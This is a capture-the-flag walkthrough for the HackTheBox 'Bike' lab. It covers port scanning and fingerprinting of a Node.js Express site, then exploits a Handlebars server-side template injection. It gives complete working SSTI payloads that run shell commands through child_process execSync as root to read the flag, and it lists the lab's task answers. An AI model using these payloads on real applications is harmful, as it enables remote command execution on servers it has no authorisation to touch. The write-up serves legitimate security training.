CHALLENGE INFORMATION

Bike LogoPlatform: HackTheBox
Collection: Starting Point
Tier: 1
Machine: Bike
Released: 01/03/2022

MACHINE SYNOPSIS

Bike is a very easy Linux machine that introduces Server-Side Template Injection (SSTI) in a Node.js application using the Handlebars template engine. The SSTI in the web application can be leveraged to escape the sandbox environment and achieve command execution via Node.js global objects.

Preparations

There are several ways to connect to the target machine. The method we will use throughout this walkthrough is the provided pwnbox.

Once we have established our connection, we spawn the target machine.

Additionally – even though it is not required – we can set a local variable (available only in the current shell) containing our target host’s IP address. Once set, we can access it by prepending a $ to the variable name.

user@kali:~$ rhost=<target-hosts-ip>
user@kali:~$ echo $rhost 
<target-hosts-ip>
user@kali:~$
Listing 1 - Creating a local variable rhost to store the target's IP address

We can use the unset command to remove the variable when it is no longer needed.

user@kali:~$ unset rhost
Listing 2 - Removing the rhost variable if necessary

Task-1

Question: What TCP ports does nmap identify as open? Answer with a list of ports separated by commas with no spaces, from low to high.

22,80

We begin our reconnaissance with a quick connectivity check.

user@kali:~$ ping $rhost -c 4
...
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
...
user@kali:~$
Listing 3 - Connection check

Scanning all TCP ports tends to be time-consuming, so we specify the number of packets to send per second to accelerate the scan.

user@kali:~$ nmap -p- --min-rate 5000 $rhost 
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...
user@kali:~$
Listing 4 - Scanning all TCP ports

Only two ports appear to be open: port 22 and port 80.

Task-2

Question: What software is running the service listening on the http/web port identified in the first question?

node.js

Using the -sV option with nmap helps us determine the service running on the specified port.

user@kali:~$ nmap -sV -p 80 $rhost 
...
PORT   STATE SERVICE VERSION
80/tcp open  http    Node.js (Express middleware)
...
user@kali:~$
Listing 5 - Version scanning TCP port 80

Using our browser to examine the site, we see the following:

Figure 1: Bike website

Figure 1: Bike website

Task-3

Question: What is the name of the Web Framework according to Wappalyzer?

express

The Wappalyzer extension returns Express for the web framework option.

Similarly, fingerprinting the server with whatweb reveals the same result.

user@kali:~$ whatweb $rhost 
... JQuery[2.2.4], Script, Title[Bike], X-Powered-By[Express] ...
user@kali:~$
Listing 6 - Fingerprinting with WhatWeb

Task-4

Question: What is the name of the vulnerability we test for by submitting {{7*7}}?

server side template injection

Submitting {{7*7}} into the E-mail field generates an error message, suggesting the application is vulnerable.

Figure 2: Website vulnerability check

Figure 2: Website vulnerability check

Now that we have identified the vulnerability, we research it to understand its mechanics before attempting exploitation.

Task-5

Question: What is the templating engine being used within Node.JS?

handlebars

Taking another look at the error message generated in Task-4, we notice multiple references to handlebars.

0	"Error: Parse error on line 1:"
1	"{{7*7}}"
2	"--^"
3	"Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'"
4	"    at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)"
5	"    at Parser.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:337:30)"
6	"    at HandlebarsEnvironment.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)"
...
Listing 7 - Error message mentioning handlebars

Having identified the vulnerability, we search for exploitation methods. One payload we found for the Handlebars templating engine is the following:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
Listing 8 - Server-side template injection (SSTI) proof-of-concept payload

Task-6

Question: What is the name of the BurpSuite tab used to encode text?

decoder

The answer becomes apparent upon examining the various tabs available in Burp Suite.

Task-7

Question: In order to send special characters in our payload in an HTTP request, we’ll encode the payload. What type of encoding do we use?

url

Because this will be part of a web request, URL encoding and formatting are required. Therefore, we use the Encode as URL option in the Decoder to encode our payload.

Figure 3: Decode in Burp Suite

Figure 3: Decode in Burp Suite

Task-8

Question: When we use a payload from HackTricks to try to run system commands, we get an error back. What is ’not defined’ in the response error?

require

First, we need to capture the HTTP request sent when submitting {{7*7}} into the E-mail field.

We accomplish this by launching Burp Suite, enabling intercept in the Proxy tab, and activating the FoxyProxy extension in our browser to forward traffic to Burp Suite. Finally, we submit the same request in our browser as before.

With everything configured properly, our HTTP request is intercepted and displayed in the Proxy tab. We send it to Repeater so that we can modify specific portions.

Figure 4: Modifying the request using Repeater

Figure 4: Modifying the request using Repeater

Next, we use the URL-encoded payload from Task-7. Once our payload is properly formatted, we set it as the value for the email URL parameter in the Repeater tab.

Figure 5: URL-encoded payload

Figure 5: URL-encoded payload

After sending the request, we receive the following response:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
...
Connection: close

["ReferenceError: require is not defined","    at Function.eval (eval at <anonymous> (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23)), <anonymous>:3:1)","    at Function.<anonymous> (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js:10:25)","    at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), <anonymous>:5:37)","
...
Listing 9 - SSTI proof-of-concept response indicating errors

Task-9

Question: What variable is the name of the top-level scope in Node.JS?

global

Our current payload does not work, as evidenced by the error received in Task-8. It is time to debug, research, and experiment.

Task-10

Question: By exploiting this vulnerability, we get command execution as the user that the web server is running as. What is the name of that user?

root

After extensive experimentation, we found a working payload:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return
process.mainModule.require('child_process').execSync('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
Listing 10 - SSTI proof-of-concept using execSync instead of exec

When we send this payload, we receive the following response:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
...
<!DOCTYPE html>
<html lang="en">
...
<div id="contact">
    <h3>We can let you know once we are up and running.</h3>
    <div class="fields">
      <form id="form" method="POST" action="/">
        <input name="email" placeholder="E-mail"></input>
        <button type="submit" class="button-54" name="action" value="Submit">Submit</button>
      </form>
    </div>
    <p class="result">
        We will contact you at:       e
      2
      [object Object]
        function Function() { [native code] }
        2
        [object Object]
            root
...
</html>
Listing 11 - Root user access after successful exploitation

This indicates that any commands we execute in our payloads run with root privileges on the target system.

Submit The Flag

Question: Submit root flag

<redacted-flag>

We must make further modifications to our payload to display the flag in the HTTP response. First, we check the current directory and list the files there.

// modified payload to list the files in the current directory
...
return process.mainModule.require('child_process').execSync('ls');"
...
Listing 12 - Adjusting payload for enumeration

We URL-encode the payload and paste it into Repeater as the value for the email parameter. Sending the request and examining the response shows that the flag is not located in the current directory.

HTTP/1.1 200 OK
...
<html lang="en">
...
            index.js
node_modules
package.json
package-lock.json
public
routes
views
...
</html>
Listing 13 - Enumerating the target

However, examining the parent directory with cd .. && ls reveals the flag’s location.

// modified payload to list the files in our parent directory
...
return process.mainModule.require('child_process').execSync('cd .. && ls');
...
Listing 14 - Further adjustments for enumeration

Repeating the same process – URL-encoding the payload, pasting the encoded result into the email parameter, and sending the request – yields the desired response:

HTTP/1.1 200 OK
...
<html lang="en">
...
    <p class="result">
...
flag.txt
snap
...
</html>
Listing 15 - Discovered flag.txt file

It remains only to retrieve the flag. Adjusting our payload is straightforward:

...
// modified payload to grab the flag from the parent directory
{{this.push "return process.mainModule.require('child_process').execSync('cd .. && cat flag.txt');"}}
...
Listing 16 - Modifying the payload to read the flag

Here is the complete, final payload we use:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('cd .. && cat flag.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
Listing 17 - Complete final payload

Once we repeat the previous steps, the flag is displayed in our HTTP response.

HTTP/1.1 200 OK
...
<!DOCTYPE html>
<html lang="en">
...
<head>
...
    <title> Bike </title>
</head>
<header>
...
</header>

<body>
...
<div id="contact">
...
    <p class="result">
...
        [object Object]
            <redacted-flag>
...
    </p>
</div>
...
</body>
...
</html>
Listing 18 - Successfully reading the flag

This is how it appears in Burp Suite:

Figure 6: HTTP Response containing the flag

Figure 6: HTTP Response containing the flag

Congratulations, we have completed the challenge. All that remains is to terminate the target box – if it has not been terminated automatically – and proceed to the next challenge!